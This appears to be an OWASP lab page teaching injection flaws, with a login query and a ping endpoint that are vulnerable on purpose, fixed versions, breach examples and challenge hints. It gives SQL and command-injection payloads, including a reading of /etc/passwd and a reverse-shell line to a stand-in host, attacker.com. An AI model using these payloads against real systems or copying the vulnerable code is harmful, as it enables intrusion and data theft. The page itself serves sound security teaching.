๐Ÿ›ก OWASP Lab
A03:2021 High

Injection

Theory

Injection dropped from #1 (2017) to #3 (2021) as parameterized queries became standard, but it remains one of the most dangerous vulnerability classes. It occurs when untrusted data is sent to an interpreter as part of a command or query. The interpreter (SQL engine, OS shell, LDAP server, XML parser) has no way to distinguish code from data, so attacker-supplied input is executed as code.

Types of Injection

  • SQL Injection โ€” unsanitised user input inserted directly into SQL queries. Can bypass authentication, dump entire databases, update/delete rows, or (in some DBs) execute OS commands
  • Command Injection โ€” user input passed to an OS shell function (os.system, subprocess.Popen(..., shell=True), PHP exec()). Full remote code execution (RCE)
  • LDAP Injection โ€” user input embedded in LDAP filter strings without escaping
  • XPath/XML Injection โ€” user input in XPath queries or XML parsers
  • SSTI (Server-Side Template Injection) โ€” user input rendered inside a template engine (Jinja2, Twig); can lead to RCE
  • Second-Order SQL Injection โ€” malicious payload stored safely, then later used in a vulnerable query without re-sanitisation

Vulnerable SQL Injection Code

# VULNERABLE โ€” string concatenation builds the SQL query
@app.post("/login")
def login(username: str = Form(), password: str = Form()):
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    user = db.execute(query).fetchone()   # untrusted input runs inside the SQL engine!
    if user:
        return {"token": create_token(user)}

How the SQL Injection Attack Works

# Normal query with username="alice" and password="alice123":
SELECT * FROM users WHERE username = 'alice' AND password = 'alice123'

# Attack payload username:  ' OR 1=1 --
# Attack payload password:  anything
# Resulting query:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'anything'
#                                            ^^^^^^^^
#  -- comments out the password check, OR 1=1 is always true -> returns first row (admin)

Vulnerable Command Injection Code

# VULNERABLE โ€” shell=True with unsanitised user input = RCE
import subprocess

@app.get("/ping")
def ping(host: str):
    result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
    return {"output": result.stdout}

How the Command Injection Attack Works

# Normal request:
GET /ping?host=8.8.8.8   โ†’   ping -c 1 8.8.8.8

# Attack payload: 127.0.0.1; cat /etc/passwd
GET /ping?host=127.0.0.1;cat+/etc/passwd

# Resulting shell command:
ping -c 1 127.0.0.1; cat /etc/passwd
#                   ^^^^^^^^^^^^^^^^^^ second command executes as the application user

# RCE escalation: get a reverse shell
127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Fixed Code

# FIXED (SQL) โ€” parameterized query; the DB driver separates code from data
from sqlmodel import select

def login(username: str, password: str):
    user = db.exec(
        select(User).where(User.username == username)   # ORM builds parameterized query
    ).first()
    if user and verify_password(password, user.password_hash):   # compare hash
        return create_token(user)

# FIXED (Command) โ€” never use shell=True; pass args as a list
import subprocess, re

def ping(host: str):
    if not re.match(r'^[\w.\-]{1,253}$', host):          # strict allowlist validation
        raise HTTPException(400, "Invalid host")
    result = subprocess.run(
        ["ping", "-c", "1", host],   # list form โ€” no shell involved, no injection possible
        capture_output=True, text=True, timeout=5
    )
    return {"output": result.stdout}

Real-World Breaches

  • Heartland Payment Systems (2008) โ€” SQL injection led to 130 million credit card records stolen; $140M in penalties
  • TalkTalk (2015) โ€” SQL injection on an unpatched page exposed 157,000 customer records; ยฃ400K fine under the UK Data Protection Act
  • Equifax (2017) โ€” CVE-2017-5638 (Apache Struts OGNL injection); 147 million records leaked including SSNs and credit history
  • Accellion (2021) โ€” SQL injection + OS command injection in a file-transfer appliance; used to attack dozens of organisations including banks and universities

How to Fix โ€” Checklist

  • Parameterized queries / ORMs โ€” always use prepared statements or an ORM that parameterizes automatically. Never build queries with string formatting
  • Never use shell=True โ€” pass commands as a list to subprocess.run; consider a dedicated library instead of shelling out
  • Input validation โ€” allowlists โ€” reject anything that doesn't match the expected format (IP, hostname, filename). Blocklists of "bad characters" are always incomplete
  • Least privilege โ€” the database user should have only SELECT/INSERT on specific tables; no DROP, no FILE, no EXECUTE
  • WAF & SAST โ€” static analysis (Semgrep, Bandit) catches string-concatenated queries at commit time; a WAF adds a runtime layer
Challenge 1

SQL Injection โ€” Login Bypass

The login form builds an SQL query by string concatenation. Inject SQL to bypass authentication and log in as admin.

Hint
Try username: ' OR 1=1 -- with any password.
Challenge 2

Command Injection โ€” Network Ping Tool

A ping utility passes user input directly to the OS shell. Inject a command to read the flag file.

Hint
Try: 127.0.0.1; cat /app/cmdi_flag.txt